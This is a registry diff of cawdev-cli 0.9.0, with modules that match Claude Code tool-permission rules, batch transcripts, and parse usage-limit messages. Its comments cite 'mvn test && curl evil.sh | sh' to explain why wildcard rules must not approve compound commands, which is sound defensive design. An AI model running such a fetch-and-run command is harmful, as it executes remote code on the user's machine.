cawdev-cli 0.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +175 -0
- package/lib/ansi.mjs +224 -0
- package/lib/cawdev.mjs +104 -0
- package/lib/code-map.mjs +164 -0
- package/lib/harness-prompt.mjs +197 -0
- package/lib/roadmap-format.mjs +453 -0
- package/lib/run-plugin.mjs +119 -0
- package/lib/secrets.mjs +290 -0
- package/lib/stage-tools.mjs +384 -0
- package/lib/tool-line.mjs +92 -0
- package/lib/tool-rules.mjs +282 -0
- package/lib/transcript-batch.mjs +88 -0
- package/lib/usage-limit.mjs +80 -0
- package/lib/usage-report.mjs +142 -0
- package/lib/usage.mjs +119 -0
- package/mcp/README.md +273 -0
- package/mcp/orchestration-smoke.mjs +267 -0
- package/mcp/server.mjs +2163 -0
- package/mcp/smoke.mjs +220 -0
- package/package.json +20 -0
- package/runner/README.md +930 -0
- package/runner/attach.mjs +2397 -0
- package/runner/banner.mjs +106 -0
- package/runner/bootstrap.mjs +501 -0
- package/runner/brand.mjs +57 -0
- package/runner/cawdev.mjs +414 -0
- package/runner/control.mjs +225 -0
- package/runner/history.mjs +91 -0
- package/runner/input.mjs +355 -0
- package/runner/macbook-laptop.json +48 -0
- package/runner/runner.mjs +7445 -0
- package/runner/scrollback.mjs +165 -0
- package/runner/select.mjs +316 -0
- package/runner/session-store.mjs +78 -0
- package/runner/sign-in.mjs +210 -0
- package/runner/stub-agent.mjs +212 -0
- package/runner/token-store.mjs +107 -0
|
@@ -0,0 +1,282 @@
|
|
|
1
|
+
// What a run may do, in Claude Code's own grammar — R51.
|
|
2
|
+
//
|
|
3
|
+
// One matcher, imported by both halves that need it:
|
|
4
|
+
//
|
|
5
|
+
// - the RUNNER, which asks the platform for a project's live rules when it
|
|
6
|
+
// claims a run, filters them through the machine's own ceiling, and hands
|
|
7
|
+
// the survivors to the CLI as --allowedTools;
|
|
8
|
+
// - the MCP SERVER, which is asked by the CLI's permission-prompt tool about
|
|
9
|
+
// a call no rule covered, and has to answer the same question again for a
|
|
10
|
+
// rule somebody added while the session was already running.
|
|
11
|
+
//
|
|
12
|
+
// Two copies of this would drift, and the direction they drift in is "the
|
|
13
|
+
// runner promised the agent something the server then denies", which reads to
|
|
14
|
+
// whoever is watching as the agent being broken.
|
|
15
|
+
//
|
|
16
|
+
// THIS IS NOT THE AUTHORITY ON PERMISSIONS. Claude Code is. Everything here
|
|
17
|
+
// exists to decide "has somebody already said yes to this" and "is this
|
|
18
|
+
// within what this machine allows unattended", and both must fail towards
|
|
19
|
+
// ASKING. A matcher that is unsure and says yes has quietly granted something;
|
|
20
|
+
// one that is unsure and says no has, at worst, asked a person a question they
|
|
21
|
+
// have answered before.
|
|
22
|
+
|
|
23
|
+
/**
|
|
24
|
+
* A pattern, split into the tool and what it is allowed to do.
|
|
25
|
+
*
|
|
26
|
+
* Bash(mvn *) -> { tool: 'Bash', content: 'mvn *' }
|
|
27
|
+
* Bash -> { tool: 'Bash', content: null } // the whole tool
|
|
28
|
+
* mcp__cawdev__report -> { tool: 'mcp__cawdev__report', content: null }
|
|
29
|
+
*
|
|
30
|
+
* Null for anything else. An unparseable rule is not a rule that matches
|
|
31
|
+
* everything.
|
|
32
|
+
*/
|
|
33
|
+
export function parseRule(pattern) {
|
|
34
|
+
if (typeof pattern !== 'string') return null;
|
|
35
|
+
const text = pattern.trim();
|
|
36
|
+
if (!text) return null;
|
|
37
|
+
|
|
38
|
+
const open = text.indexOf('(');
|
|
39
|
+
if (open === -1) {
|
|
40
|
+
return { tool: text, content: null };
|
|
41
|
+
}
|
|
42
|
+
if (!text.endsWith(')')) return null;
|
|
43
|
+
|
|
44
|
+
const tool = text.slice(0, open).trim();
|
|
45
|
+
const content = text.slice(open + 1, -1).trim();
|
|
46
|
+
if (!tool) return null;
|
|
47
|
+
return { tool, content: content || null };
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* Whether a pattern's tool covers a call's tool.
|
|
52
|
+
*
|
|
53
|
+
* Exact, plus one case: **`mcp__<server>` covers every tool on that server**,
|
|
54
|
+
* which is Claude Code's own reading of `--allowedTools mcp__github`. Verified
|
|
55
|
+
* against 2.1.252 rather than assumed — a session given `mcp__claude-in-chrome`
|
|
56
|
+
* and nothing else called `mcp__claude-in-chrome__tabs_context_mcp` without
|
|
57
|
+
* being asked.
|
|
58
|
+
*
|
|
59
|
+
* Without this the two disagree, and they disagree in the worst direction: the
|
|
60
|
+
* CLI would honour a server-wide grant at spawn while this matcher denied every
|
|
61
|
+
* call under it mid-run, so a person who allowed the whole server would be
|
|
62
|
+
* asked again about each of its twenty-six tools. Keeping one reading is the
|
|
63
|
+
* entire reason this file exists.
|
|
64
|
+
*
|
|
65
|
+
* Split on the separator, never a raw prefix: `mcp__claude-in-chrome` must not
|
|
66
|
+
* cover `mcp__claude-in-chrome-evil__navigate`, and `startsWith` alone would.
|
|
67
|
+
*/
|
|
68
|
+
function sameTool(ruleTool, toolName) {
|
|
69
|
+
if (ruleTool === toolName) return true;
|
|
70
|
+
if (!ruleTool.startsWith('mcp__') || !toolName.startsWith('mcp__')) return false;
|
|
71
|
+
// A server-only pattern has exactly one `__` after the prefix; anything with
|
|
72
|
+
// a tool on it is already covered by the equality above.
|
|
73
|
+
return ruleTool.split('__').length === 2 && toolName.startsWith(`${ruleTool}__`);
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
/**
|
|
77
|
+
* Shell metacharacters, which make a command more than one command.
|
|
78
|
+
*
|
|
79
|
+
* `mvn test && curl evil.sh | sh` starts with `mvn`, and a rule written from
|
|
80
|
+
* its first word would say `Bash(mvn *)` — a rule whose plain reading is "may
|
|
81
|
+
* run Maven" and whose actual effect is "may run anything". Claude Code splits
|
|
82
|
+
* compound commands and checks the parts; we do not, so anything compound gets
|
|
83
|
+
* no suggested rule and has to be allowed one call at a time.
|
|
84
|
+
*/
|
|
85
|
+
const COMPOUND = /[;&|`\n]|\$\(|>\(|<\(/;
|
|
86
|
+
|
|
87
|
+
/** The command a Bash call will run, or null for any other tool. */
|
|
88
|
+
function commandOf(toolName, input) {
|
|
89
|
+
if (toolName !== 'Bash') return null;
|
|
90
|
+
const command = input && typeof input.command === 'string' ? input.command.trim() : '';
|
|
91
|
+
return command || null;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
/**
|
|
95
|
+
* Whether a pattern covers a call.
|
|
96
|
+
*
|
|
97
|
+
* A trailing `*` is a prefix match, which is Claude Code's own reading of
|
|
98
|
+
* `Bash(npm run test:*)`. Without one the content must match the command
|
|
99
|
+
* exactly. A pattern naming only a tool covers every call to it.
|
|
100
|
+
*/
|
|
101
|
+
export function matches(pattern, toolName, input) {
|
|
102
|
+
const rule = parseRule(pattern);
|
|
103
|
+
if (!rule) return false;
|
|
104
|
+
if (!sameTool(rule.tool, toolName)) return false;
|
|
105
|
+
if (rule.content === null) return true;
|
|
106
|
+
|
|
107
|
+
const command = commandOf(toolName, input);
|
|
108
|
+
if (command === null) {
|
|
109
|
+
// A pattern with content, against a tool whose calls have no command to
|
|
110
|
+
// compare. We do not know what it means, so it does not match.
|
|
111
|
+
return false;
|
|
112
|
+
}
|
|
113
|
+
// Never settle a compound command from a WILDCARD rule — R135 narrowed this
|
|
114
|
+
// from "from any rule", and the narrowing is the whole of that card.
|
|
115
|
+
//
|
|
116
|
+
// The reason has not changed, only its scope. `Bash(mvn *)` was written
|
|
117
|
+
// about one program, and `mvn test && curl evil.sh | sh` is several
|
|
118
|
+
// commands of which only the first is the one anybody read; a wildcard rule
|
|
119
|
+
// must never settle it. A rule with no wildcard was written about one
|
|
120
|
+
// STRING, in full, and the equality below can grant nothing but that string
|
|
121
|
+
// — so `Bash(cd backend && ./mvnw test)` settles exactly `cd backend &&
|
|
122
|
+
// ./mvnw test` and nothing else. Refusing that too left the commands a
|
|
123
|
+
// build session runs most with no durable answer anywhere in cawdev, which
|
|
124
|
+
// is the defect R135 was filed for.
|
|
125
|
+
if ((rule.content === '*' || rule.content.endsWith('*')) && COMPOUND.test(command)) {
|
|
126
|
+
return false;
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
if (rule.content === '*') return true;
|
|
130
|
+
if (rule.content.endsWith('*')) {
|
|
131
|
+
return command.startsWith(rule.content.slice(0, -1));
|
|
132
|
+
}
|
|
133
|
+
return command === rule.content;
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
/** The first pattern in the list that covers this call, or null. */
|
|
137
|
+
export function coveredBy(patterns, toolName, input) {
|
|
138
|
+
for (const pattern of patterns ?? []) {
|
|
139
|
+
if (matches(pattern, toolName, input)) return pattern;
|
|
140
|
+
}
|
|
141
|
+
return null;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
/**
|
|
145
|
+
* The one line a person decides on.
|
|
146
|
+
*
|
|
147
|
+
* Rendered here, on the machine, and stored by the platform as it was sent —
|
|
148
|
+
* so what somebody approved is exactly what they were shown, however the
|
|
149
|
+
* console later changes.
|
|
150
|
+
*/
|
|
151
|
+
export function summaryOf(toolName, input) {
|
|
152
|
+
const command = commandOf(toolName, input);
|
|
153
|
+
if (command) return command;
|
|
154
|
+
|
|
155
|
+
// Not Bash: say what it is about in whatever the tool calls its subject.
|
|
156
|
+
const subject = ['file_path', 'path', 'url', 'pattern', 'notebook_path']
|
|
157
|
+
.map((key) => (input && typeof input[key] === 'string' ? input[key] : null))
|
|
158
|
+
.find(Boolean);
|
|
159
|
+
return subject ? `${toolName}: ${subject}` : toolName;
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
/**
|
|
163
|
+
* The rule that would cover this next time, or null when none should be offered.
|
|
164
|
+
*
|
|
165
|
+
* For a shell command it is the program: `mvn --version` offers
|
|
166
|
+
* `Bash(mvn *)`. Broad on purpose — it is what somebody means by "let it use
|
|
167
|
+
* Maven" — and the console lets them narrow it before it is written.
|
|
168
|
+
*
|
|
169
|
+
* Null rather than a guess for: compound commands (see COMPOUND), and any tool
|
|
170
|
+
* whose calls we cannot characterise, where the only honest offer would be the
|
|
171
|
+
* whole tool. "Always allow Bash" is not a checkbox this should ever draw.
|
|
172
|
+
*/
|
|
173
|
+
export function suggestionFor(toolName, input, { skillServers = [] } = {}) {
|
|
174
|
+
const command = commandOf(toolName, input);
|
|
175
|
+
if (command === null) {
|
|
176
|
+
if (!toolName.startsWith('mcp__')) return null;
|
|
177
|
+
|
|
178
|
+
// A SKILL is one decision, so the offer is the whole server — R76.
|
|
179
|
+
//
|
|
180
|
+
// A project turned CodeGraph on, not `codegraph_explore`. Offering the one
|
|
181
|
+
// tool would ask a person twenty-six times about a capability they have
|
|
182
|
+
// already expressed as one thing, which is how a permission model people
|
|
183
|
+
// read becomes one they click through. R61 verified that the CLI and
|
|
184
|
+
// `matches` agree on a server-wide pattern, so this is a grant both halves
|
|
185
|
+
// read the same way.
|
|
186
|
+
//
|
|
187
|
+
// Only for servers the runner declared as skills. Everything else — a
|
|
188
|
+
// repository's own `.mcp.json` server, above all — keeps the per-tool
|
|
189
|
+
// offer, because nobody declared it as a capability and its tools may have
|
|
190
|
+
// nothing to do with each other.
|
|
191
|
+
const server = skillServers.find((prefix) => sameTool(prefix, toolName));
|
|
192
|
+
if (server) return server;
|
|
193
|
+
|
|
194
|
+
// A named MCP tool is its own pattern and is as narrow as it gets.
|
|
195
|
+
return toolName;
|
|
196
|
+
}
|
|
197
|
+
if (COMPOUND.test(command)) return null;
|
|
198
|
+
|
|
199
|
+
const program = command.split(/\s+/)[0];
|
|
200
|
+
if (!program || program.includes('/')) {
|
|
201
|
+
// A path rather than a program — `./scripts/deploy.sh`. Offering
|
|
202
|
+
// `Bash(./scripts/deploy.sh *)` is a rule about one file in one checkout,
|
|
203
|
+
// which is not what a project rule is for.
|
|
204
|
+
return null;
|
|
205
|
+
}
|
|
206
|
+
return `Bash(${program} *)`;
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
/**
|
|
210
|
+
* The longest a rule may be and still be one somebody can withdraw.
|
|
211
|
+
*
|
|
212
|
+
* A rule nobody can read on the Rules page is a rule nobody can safely take
|
|
213
|
+
* back, and an exact rule is as long as the command it was written from.
|
|
214
|
+
*/
|
|
215
|
+
const LONGEST_EXACT = 300;
|
|
216
|
+
|
|
217
|
+
/**
|
|
218
|
+
* The rule that names THIS call and nothing else, or null — R135.
|
|
219
|
+
*
|
|
220
|
+
* The offer for the commands `suggestionFor` cannot make an offer about: a
|
|
221
|
+
* compound command, or a path-shaped one. It is not a guess about what
|
|
222
|
+
* somebody meant, the way `Bash(mvn *)` is; it is the string they read in full
|
|
223
|
+
* on the approval card, and it can grant nothing but itself.
|
|
224
|
+
*
|
|
225
|
+
* Null rather than a near-miss for three cases, each of which would offer a
|
|
226
|
+
* rule WIDER than the command that was shown:
|
|
227
|
+
*
|
|
228
|
+
* - a command ending in `*`, which our own `matches` reads as a prefix;
|
|
229
|
+
* - one longer than {@link LONGEST_EXACT};
|
|
230
|
+
* - one that does not survive the round trip through `parseRule` — a command
|
|
231
|
+
* ending in `)` is truncated by it, so the pattern is built, parsed back,
|
|
232
|
+
* and offered only when the two agree.
|
|
233
|
+
*
|
|
234
|
+
* Bash only, because a rule with content means nothing to `matches` for any
|
|
235
|
+
* other tool: those keep the whole-tool session grant as their answer.
|
|
236
|
+
*/
|
|
237
|
+
export function exactRuleFor(toolName, input) {
|
|
238
|
+
const command = commandOf(toolName, input);
|
|
239
|
+
if (command === null) return null;
|
|
240
|
+
if (command.endsWith('*')) return null;
|
|
241
|
+
if (command.length > LONGEST_EXACT) return null;
|
|
242
|
+
|
|
243
|
+
const pattern = `${toolName}(${command})`;
|
|
244
|
+
return parseRule(pattern)?.content === command ? pattern : null;
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
/**
|
|
248
|
+
* Whether a machine's ceiling admits a rule.
|
|
249
|
+
*
|
|
250
|
+
* The ceiling is the list of patterns this runner's owner is willing to have
|
|
251
|
+
* applied with nobody watching. A rule passes when the ceiling names it, or
|
|
252
|
+
* names something broader that plainly contains it — `Bash(npm *)` in the
|
|
253
|
+
* ceiling admits `Bash(npm test)`.
|
|
254
|
+
*
|
|
255
|
+
* Deliberately narrow. It compares patterns, never expands them: a ceiling of
|
|
256
|
+
* `Bash(npm *)` does not admit `Bash(npm-run-all *)`, because the prefix test
|
|
257
|
+
* is done on the wildcard boundary and not on the raw string.
|
|
258
|
+
*/
|
|
259
|
+
export function withinCeiling(ceiling, pattern) {
|
|
260
|
+
const rule = parseRule(pattern);
|
|
261
|
+
if (!rule) return false;
|
|
262
|
+
|
|
263
|
+
for (const allowed of ceiling ?? []) {
|
|
264
|
+
const limit = parseRule(allowed);
|
|
265
|
+
// The same server-covers-its-tools reading as `matches`, so a ceiling of
|
|
266
|
+
// `mcp__claude-in-chrome` admits a rule about one of its tools.
|
|
267
|
+
if (!limit || !sameTool(limit.tool, rule.tool)) continue;
|
|
268
|
+
|
|
269
|
+
// The ceiling names the whole tool: everything in it is admitted.
|
|
270
|
+
if (limit.content === null || limit.content === '*') return true;
|
|
271
|
+
if (rule.content === null) continue; // The rule is wider than the ceiling.
|
|
272
|
+
|
|
273
|
+
if (limit.content.endsWith('*')) {
|
|
274
|
+
const prefix = limit.content.slice(0, -1);
|
|
275
|
+
if (rule.content === prefix.trim()) return true;
|
|
276
|
+
if (rule.content.startsWith(prefix)) return true;
|
|
277
|
+
continue;
|
|
278
|
+
}
|
|
279
|
+
if (limit.content === rule.content) return true;
|
|
280
|
+
}
|
|
281
|
+
return false;
|
|
282
|
+
}
|
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
// Batching a session's transcript for the platform, without losing a batch
|
|
2
|
+
// the network would not carry — R255.
|
|
3
|
+
//
|
|
4
|
+
// A batch that failed to send used to be spliced out of the pending queue
|
|
5
|
+
// before the send was even awaited, on the theory that "a dropped line is not
|
|
6
|
+
// worth failing a run over". True for one flaky beat; false for a laptop that
|
|
7
|
+
// loses Wi-Fi for two minutes, where every line the session produced during
|
|
8
|
+
// the gap went missing for good, with nothing in the transcript to say a gap
|
|
9
|
+
// had happened at all.
|
|
10
|
+
//
|
|
11
|
+
// Pure of the network and the daemon on purpose: `send(lines)` is the one
|
|
12
|
+
// edge this class touches, so the retry, the backoff and the ordering can be
|
|
13
|
+
// tested without a socket, a runner, or a platform to talk to. `runner.mjs`
|
|
14
|
+
// supplies the real `send` (a POST to `/output`) and the daemon-only tee to
|
|
15
|
+
// the attached terminal.
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
* @param {(lines: object[]) => Promise<unknown>} send POSTs a batch, in
|
|
19
|
+
* order; rejects on failure. Called with at most `max` lines.
|
|
20
|
+
* @param {{every?: number, max?: number, maxRetryDelay?: number,
|
|
21
|
+
* onRetry?: (info: {lines: object[], delayMs: number, failure: Error}) => void}} [opts]
|
|
22
|
+
* `onRetry` is told about a failed send before the backoff timer is set —
|
|
23
|
+
* the daemon uses it to log; a test uses it to assert without waiting out
|
|
24
|
+
* real delays.
|
|
25
|
+
*/
|
|
26
|
+
export class TranscriptBatch {
|
|
27
|
+
constructor(send, { every = 400, max = 100, maxRetryDelay = 20_000, onRetry } = {}) {
|
|
28
|
+
this.send_ = send;
|
|
29
|
+
this.every = every;
|
|
30
|
+
this.max = max;
|
|
31
|
+
this.maxRetryDelay = maxRetryDelay;
|
|
32
|
+
this.onRetry = onRetry ?? (() => {});
|
|
33
|
+
this.pending = [];
|
|
34
|
+
this.sending = null;
|
|
35
|
+
this.timer = null;
|
|
36
|
+
this.retryDelay = every;
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
/** Queues one line, flushing immediately once `max` is reached. */
|
|
40
|
+
push(line) {
|
|
41
|
+
this.pending.push(line);
|
|
42
|
+
if (this.pending.length >= this.max) {
|
|
43
|
+
void this.flush();
|
|
44
|
+
} else if (!this.timer) {
|
|
45
|
+
this.timer = setTimeout(() => void this.flush(), this.every);
|
|
46
|
+
this.timer.unref?.();
|
|
47
|
+
}
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
async flush() {
|
|
51
|
+
if (this.timer) {
|
|
52
|
+
clearTimeout(this.timer);
|
|
53
|
+
this.timer = null;
|
|
54
|
+
}
|
|
55
|
+
// One request at a time: awaiting the previous send is what keeps the
|
|
56
|
+
// transcript in the order the session produced it, whether that send
|
|
57
|
+
// succeeded or is about to be retried.
|
|
58
|
+
this.sending = (this.sending ?? Promise.resolve()).then(() => this.send());
|
|
59
|
+
await this.sending;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
async send() {
|
|
63
|
+
if (!this.pending.length) return;
|
|
64
|
+
// A snapshot, not the live array: `push()` can append more lines while
|
|
65
|
+
// this request is in flight, and those belong to the NEXT send, not this
|
|
66
|
+
// one — splicing by count below removes exactly what was sent, whatever
|
|
67
|
+
// arrived after it.
|
|
68
|
+
const count = this.pending.length;
|
|
69
|
+
const lines = this.pending.slice(0, count);
|
|
70
|
+
try {
|
|
71
|
+
await this.send_(lines);
|
|
72
|
+
this.pending.splice(0, count);
|
|
73
|
+
this.retryDelay = this.every;
|
|
74
|
+
} catch (failure) {
|
|
75
|
+
// Left in `pending` on purpose — see the module doc. Backed off rather
|
|
76
|
+
// than hammered: a real outage does not clear in one beat, and there is
|
|
77
|
+
// no point spending every one of them on a request that will fail the
|
|
78
|
+
// same way.
|
|
79
|
+
const delayMs = this.retryDelay;
|
|
80
|
+
this.onRetry({ lines, delayMs, failure });
|
|
81
|
+
this.retryDelay = Math.min(this.retryDelay * 2, this.maxRetryDelay);
|
|
82
|
+
if (!this.timer) {
|
|
83
|
+
this.timer = setTimeout(() => void this.flush(), delayMs);
|
|
84
|
+
this.timer.unref?.();
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
}
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
// Recognising that Claude's usage window closed — R73.
|
|
2
|
+
//
|
|
3
|
+
// A run that hits the five-hour or weekly window exits non-zero, and without
|
|
4
|
+
// this the runner reports what it always reports and the card reads FAILED:
|
|
5
|
+
// the same word as a compile error. The clock said no; the work did not.
|
|
6
|
+
//
|
|
7
|
+
// Pure, and per-provider by design: this is the Claude Code adapter's half of
|
|
8
|
+
// R20's seam. A second CLI (R17) supplies its own recogniser or none, and none
|
|
9
|
+
// means the old FAILED behaviour — a run is never called usage-limited on a
|
|
10
|
+
// guess.
|
|
11
|
+
//
|
|
12
|
+
// The shapes below are what the CLI has actually printed. Matching is
|
|
13
|
+
// deliberately narrow: "limit" alone appears in ordinary output ("rate limit
|
|
14
|
+
// on the API", "limit the scope"), and calling a real failure a usage limit
|
|
15
|
+
// would hide a broken run behind a friendly label.
|
|
16
|
+
|
|
17
|
+
// `session limit` is what the CLI actually printed on 2026-09-08, and none of
|
|
18
|
+
// the patterns before it matched: "You've hit your session limit · resets 6pm
|
|
19
|
+
// (Africa/Tunis)" is neither "usage limit" nor "limit reset" — a middle dot
|
|
20
|
+
// sits where the space would have been. The run was marked FAILED, which is
|
|
21
|
+
// the word for a crash, and R73 exists precisely so that a clock is not called
|
|
22
|
+
// a crash.
|
|
23
|
+
//
|
|
24
|
+
// `(usage |session )?` rather than a fourth alternative, because these are one
|
|
25
|
+
// phrase the vendor rewords: `hit your limit`, `hit your usage limit`, `hit
|
|
26
|
+
// your session limit`. A list of exact sentences goes stale the next time
|
|
27
|
+
// somebody edits a string, and goes stale SILENTLY — the failure mode is a
|
|
28
|
+
// run that reads as broken.
|
|
29
|
+
const FIVE_HOUR =
|
|
30
|
+
/(5|five)[- ]hour|(usage|session) limit reached|you(?:.ve| have|ve) (?:hit|reached) your (?:usage |session )?limit|limit\s*\W?\s*(will )?resets?/i;
|
|
31
|
+
const WEEKLY = /weekly (usage )?limit|this week.s limit/i;
|
|
32
|
+
|
|
33
|
+
/**
|
|
34
|
+
* `resets at 3:00 PM`, `resets in 2h 15m`, `try again at 15:00 UTC`.
|
|
35
|
+
* Whichever the CLI said; null when it said none. A time with no date is
|
|
36
|
+
* taken as the next occurrence of it.
|
|
37
|
+
*/
|
|
38
|
+
function resetInstant(text, now) {
|
|
39
|
+
const at = /(?:resets?|try again|available)\s+(?:at\s+)?(\d{1,2})(?::(\d{2}))?\s*(am|pm)?(?:\s*(utc|z))?/i.exec(text);
|
|
40
|
+
if (at) {
|
|
41
|
+
let hour = Number(at[1]);
|
|
42
|
+
const minute = Number(at[2] ?? 0);
|
|
43
|
+
const half = (at[3] ?? '').toLowerCase();
|
|
44
|
+
if (half === 'pm' && hour < 12) hour += 12;
|
|
45
|
+
if (half === 'am' && hour === 12) hour = 0;
|
|
46
|
+
const when = new Date(now);
|
|
47
|
+
if (at[4]) {
|
|
48
|
+
when.setUTCHours(hour, minute, 0, 0);
|
|
49
|
+
if (when <= now) when.setUTCDate(when.getUTCDate() + 1);
|
|
50
|
+
} else {
|
|
51
|
+
when.setHours(hour, minute, 0, 0);
|
|
52
|
+
if (when <= now) when.setDate(when.getDate() + 1);
|
|
53
|
+
}
|
|
54
|
+
return when;
|
|
55
|
+
}
|
|
56
|
+
const inFor = /(?:resets?|try again|available)\s+in\s+(?:(\d+)\s*h(?:ours?)?)?\s*(?:(\d+)\s*m(?:in(?:ute)?s?)?)?/i.exec(text);
|
|
57
|
+
if (inFor && (inFor[1] || inFor[2])) {
|
|
58
|
+
const ms = (Number(inFor[1] ?? 0) * 60 + Number(inFor[2] ?? 0)) * 60_000;
|
|
59
|
+
return new Date(now.getTime() + ms);
|
|
60
|
+
}
|
|
61
|
+
return null;
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
/**
|
|
65
|
+
* What the session's last words say, or null.
|
|
66
|
+
*
|
|
67
|
+
* @returns `{ window: 'FIVE_HOUR' | 'WEEKLY', resetsAt: Date | null }`
|
|
68
|
+
*/
|
|
69
|
+
export function usageLimitOf(text, now = new Date()) {
|
|
70
|
+
if (!text) {
|
|
71
|
+
return null;
|
|
72
|
+
}
|
|
73
|
+
if (WEEKLY.test(text)) {
|
|
74
|
+
return { window: 'WEEKLY', resetsAt: resetInstant(text, now) };
|
|
75
|
+
}
|
|
76
|
+
if (FIVE_HOUR.test(text)) {
|
|
77
|
+
return { window: 'FIVE_HOUR', resetsAt: resetInstant(text, now) };
|
|
78
|
+
}
|
|
79
|
+
return null;
|
|
80
|
+
}
|
|
@@ -0,0 +1,142 @@
|
|
|
1
|
+
// What `claude -p "/usage"` says about this machine's windows, as data.
|
|
2
|
+
//
|
|
3
|
+
// R73 concluded cawdev could not know these numbers — "the CLI reports its
|
|
4
|
+
// windows to a person more readily than to a program, so the one moment this
|
|
5
|
+
// daemon KNOWS a window is closed is when a run was refused" — and built the
|
|
6
|
+
// refusal path instead. That was true of the CLI it was written against. It is
|
|
7
|
+
// not true of 2.1.263, which answers `/usage` non-interactively:
|
|
8
|
+
//
|
|
9
|
+
// Current session: 25% used · resets Sep 8 at 11pm (Africa/Tunis)
|
|
10
|
+
// Current week (all models): 51% used · resets Sep 11 at 2pm (Africa/Tunis)
|
|
11
|
+
// Current week (Fable): 28% used · resets Sep 11 at 2pm (Africa/Tunis)
|
|
12
|
+
//
|
|
13
|
+
// Pure, for `code-map.mjs`'s reason: the hard part here is reading somebody
|
|
14
|
+
// else's prose, and prose is the thing that changes without warning. It is
|
|
15
|
+
// testable without a CLI, and the tests are where the shapes actually seen get
|
|
16
|
+
// written down.
|
|
17
|
+
//
|
|
18
|
+
// TOLERANT ON PURPOSE, and in one direction. A line this cannot read is a line
|
|
19
|
+
// it drops; text that is not a usage report at all yields nothing rather than
|
|
20
|
+
// something. The alternative — guessing — puts an invented number on a page
|
|
21
|
+
// somebody makes decisions from, and R20's rule for the console is exactly
|
|
22
|
+
// this: show what the provider said, and blank when it said nothing.
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* `25% used`, wherever in the line it sits.
|
|
26
|
+
*
|
|
27
|
+
* The lookbehind is doing real work: without it `4000%` matches its last three
|
|
28
|
+
* digits and reads as 0%, and `-5%` reads as 5%. A number that is not a
|
|
29
|
+
* percentage must not become a plausible one — 0% used is a sentence somebody
|
|
30
|
+
* would act on.
|
|
31
|
+
*/
|
|
32
|
+
const PERCENT = /(?<![\d.-])(\d{1,3})\s*%/;
|
|
33
|
+
|
|
34
|
+
/**
|
|
35
|
+
* `resets Sep 8 at 11pm (Africa/Tunis)`, `resets Sep 11 at 2pm`.
|
|
36
|
+
*
|
|
37
|
+
* The zone is captured and DELIBERATELY not applied: it is the zone the CLI
|
|
38
|
+
* chose to print for a person, which is this machine's own, and this daemon
|
|
39
|
+
* runs on that machine. Parsing in local time is therefore right, and pulling
|
|
40
|
+
* in a timezone library to convert a value to itself would be work that can
|
|
41
|
+
* only introduce error.
|
|
42
|
+
*/
|
|
43
|
+
const RESET = /resets?\s+(?:on\s+)?([A-Z][a-z]{2})\s+(\d{1,2})(?:\s+at)?\s+(\d{1,2})(?::(\d{2}))?\s*(am|pm)?/i;
|
|
44
|
+
|
|
45
|
+
const MONTHS = ['jan', 'feb', 'mar', 'apr', 'may', 'jun',
|
|
46
|
+
'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];
|
|
47
|
+
|
|
48
|
+
/**
|
|
49
|
+
* When a window says it resets.
|
|
50
|
+
*
|
|
51
|
+
* <p>The CLI prints a month and a day and no year, so the year is inferred:
|
|
52
|
+
* the next occurrence, which across a New Year means next year rather than a
|
|
53
|
+
* reset ten months in the past.
|
|
54
|
+
*/
|
|
55
|
+
function resetAt(line, now) {
|
|
56
|
+
const found = RESET.exec(line);
|
|
57
|
+
if (!found) {
|
|
58
|
+
return null;
|
|
59
|
+
}
|
|
60
|
+
const month = MONTHS.indexOf(found[1].toLowerCase());
|
|
61
|
+
if (month === -1) {
|
|
62
|
+
return null;
|
|
63
|
+
}
|
|
64
|
+
let hour = Number(found[3]);
|
|
65
|
+
const minute = Number(found[4] ?? 0);
|
|
66
|
+
const half = (found[5] ?? '').toLowerCase();
|
|
67
|
+
if (half === 'pm' && hour < 12) hour += 12;
|
|
68
|
+
if (half === 'am' && hour === 12) hour = 0;
|
|
69
|
+
|
|
70
|
+
const when = new Date(now);
|
|
71
|
+
when.setMonth(month, Number(found[2]));
|
|
72
|
+
when.setHours(hour, minute, 0, 0);
|
|
73
|
+
// A date that has already gone is next year's, not this year's.
|
|
74
|
+
if (when.getTime() < now.getTime() - 24 * 60 * 60 * 1000) {
|
|
75
|
+
when.setFullYear(when.getFullYear() + 1);
|
|
76
|
+
}
|
|
77
|
+
return when;
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
/**
|
|
81
|
+
* One line's window.
|
|
82
|
+
*
|
|
83
|
+
* <p>`Current session` is the five-hour window and `Current week` the weekly
|
|
84
|
+
* one; a parenthesised name after `week` is a MODEL, and `all models` is the
|
|
85
|
+
* absence of one rather than a model called that. Told apart here rather than
|
|
86
|
+
* by the caller, so "which window is this" has a single answer.
|
|
87
|
+
*/
|
|
88
|
+
function windowOf(label) {
|
|
89
|
+
const lower = label.toLowerCase();
|
|
90
|
+
if (lower.includes('session')) {
|
|
91
|
+
return { kind: 'FIVE_HOUR', model: null };
|
|
92
|
+
}
|
|
93
|
+
if (!lower.includes('week')) {
|
|
94
|
+
return null;
|
|
95
|
+
}
|
|
96
|
+
const named = /\(([^)]+)\)/.exec(label);
|
|
97
|
+
const model = named ? named[1].trim() : null;
|
|
98
|
+
return {
|
|
99
|
+
kind: 'WEEKLY',
|
|
100
|
+
model: !model || /^all models$/i.test(model) ? null : model,
|
|
101
|
+
};
|
|
102
